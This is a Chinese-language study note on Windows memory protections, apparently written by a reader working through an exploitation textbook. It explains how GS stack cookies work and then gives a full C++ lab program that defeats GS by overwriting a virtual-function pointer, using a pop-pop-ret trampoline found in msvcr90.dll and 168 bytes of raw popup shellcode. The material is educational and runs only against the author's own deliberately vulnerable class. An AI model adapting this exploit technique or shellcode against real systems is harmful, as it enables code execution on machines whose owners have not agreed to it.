OD: Windows Security Techniques & GS Bypassing via C++ Virtual Function

1. GS 编译技术：函数返回地址之前加入了 Security Cookie，返回之前首先检测 cookie 是否正确，栈溢出难度增加。
2. 增加了对 S.E.H 的安全校验机制。
3. 堆中加入了 Heap Cookie、Safe Unlinking 等机制，原本就困难的堆溢出增加了更多限制。
4. DEP（Data Execution Protection）将数据部分标识为不可执行。
5. ASLR（Address Space Layout Randomization，加载地址随机化），对系统关键地址进行随机加载。
6. SEHOP（Structured Exception Handler Overwrite Protection，S.E.H 覆盖保护）作为安全 SEH 的补充，将 SEH 的保护提升到系统级别。

· 所有函数调用发生时，向栈帧内压入一个额外的随机 DWORD——“canary”，IDA 中将这个随机数标注为“Security Cookie”
· Security Cookie 位于 EBP 之前（ret addr, EBP, security cookie），系统还将在 .data 的内存区域中存放一个 Security Cookie 的副本。
· 栈帧内发生溢出时，Security Cookie 将首先被淹没，之后才是 EBP 和返回地址。
· 函数返回前，系统将执行额外的安全验证操作：Security Check：比较栈帧内和 .data 中的 Security Cookie。
· 如果安全验证显示栈帧内的 Security Cookie 被淹没，系统将进入异常处理流程，函数不会正常返回，ret 指令不会被执行。

1. 函数不包含缓冲区。
2. 函数被定义为具有变量参数列表。
3. 函数使用无保护的关键字标记。
4. 函数在第一个语句中包含内嵌汇编代码。
5. 缓冲区不是 8 字节类型且大小不大于 4 个字节。

#pragma strict_gs_check     // 将强制使用 GS，对不符合 GS 保护条件的函数添加 GS 保护

· 系统以 .data 字的第一个双字 DWORD 作为 Cookie 的种子，即原始 Cookie
· 程序每次运行时的种子都不同，种子有很强的随机性
· 栈帧初始化以后系统用 ESP 异或种子，作为当前函数的 Cookie，以此作为不同函数之间的区别
· 函数返回前，用 ESP 还原出 Cookie 种子

· 修改栈帧中的函数返回地址的经典攻击将被 GS 有效遏制
· 基于改写函数指针的攻击（如 C++ 虚函数）和针对异常处理的攻击，GS 机制仍然很难防御
· GS 是针对栈帧的保护机制，很难防御堆溢出攻击

VM : Windows XP Pro sp2
Visual Studio 2008
　　VS 关闭代码优化：
　　　　Project \ <project_name> Properties \ Configuration Properties \ C/C++ \ Optimization \ Optimization : Disabled(/0d)
　　VS 开启 GS 保护：
　　　　Project \ <project_name> Properties \ Configuration Properties \ C/C++ \ Code Generation \ Buffer Security Check : Yes
Project Build Version : Release

 1 #include "string.h"
 2 #include "stdio.h"
 3 #include "windows.h"
 4 
 5 #define POPS 13
 6 int pop[POPS]={0x07,0x17,0x1F,0x58,0x59,0x5A,0x5B,0x5C,0x5D,0x5E,0x5F,0x8F,0x9D};//opcode of `pop [reg]`
 7 char opbuf[0xff];
 8 
 9 class GSVirtual {
10 public:
11     void gsv(char *src)
12     {
13         char buf[188];
14         strcpy(buf, src);
15         printf("ready to overby GS\n");
16         vir();
17     }
18     virtual void vir()
19     {
20         printf("in virtual function.\n");
21     }
22 };
23 
24 char *genop()
25 {
26     BYTE *ptr,op;
27     int flag[256], position, cnt, pop_want=2;
28     HINSTANCE handle = LoadLibrary("msvcr90.dll");
29     BOOL done_flag = FALSE;
30     if(!handle)
31     {
32         printf("load dll error!\n");
33         exit(0);
34     }
35     ptr = (BYTE*)handle;
36     memset(flag, 0, sizeof(int) * 256);
37     for(cnt=0;cnt<POPS;flag[pop[cnt++]]=1);
38     for(position=cnt=0; !done_flag; position++)
39     {
40         __try
41         {
42             op=(BYTE)*(ptr+position);
43             if(cnt==pop_want && op==0xC3)
44             {   // 找到第一个符合条件的跳板时终止搜索，踏板地址在放在 cnt 中
45                 printf("opcode found at 0x%X\n",cnt=(int)ptr+position-pop_want);
46                 break;
47             }
48             cnt = flag[op] ? cnt+1 : 0;
49             if(cnt>pop_want) cnt=0;
50         }
51         __except(1)
52         {
53             printf("end of 0x%08X\n",(int)ptr+position);
54             done_flag=TRUE;
55         }
56     }
57     sprintf(opbuf, "%c%c%c%c%.216s%c%c%c%c", cnt&0xff,(cnt>>8)&0xff,(cnt>>16)&0xff,(cnt>>24)&0xff, // 将跳板地址按小端存储
58 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
59 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
60 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
61 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
62 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
63 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode
64 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
65 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90",  // 40 字节的 nop
66     ((int)opbuf)&0xff,(((int)opbuf)>>8)&0xff,(((int)opbuf)>>16)&0xff,(((int)opbuf)>>24)&0xff // shellcode 在堆中的地址，在堆中则地址无 0x00
67     );
68     if(!cnt)printf("suitable opcode not found!\n");
69     return opbuf;
70 }
71 
72 int main()
73 {
74     GSVirtual test;
75     test.gsv(genop());
76     return 0;
77 }

在我上述代码中，shellcode 是通过程序产生的（直接引用变量地址，不需要想办法来定位这些不确定的位置），本来可以直接在 shellcode 的头部（也就是虚函数地址）直接用 opbuf + 4 来当作虚函数地址指针，以方便地执行关键代码（程序定位了虚函数地址后，会 call 这个地址），但为了表达书中的跳板技巧，没用那么简单粗暴有效路子。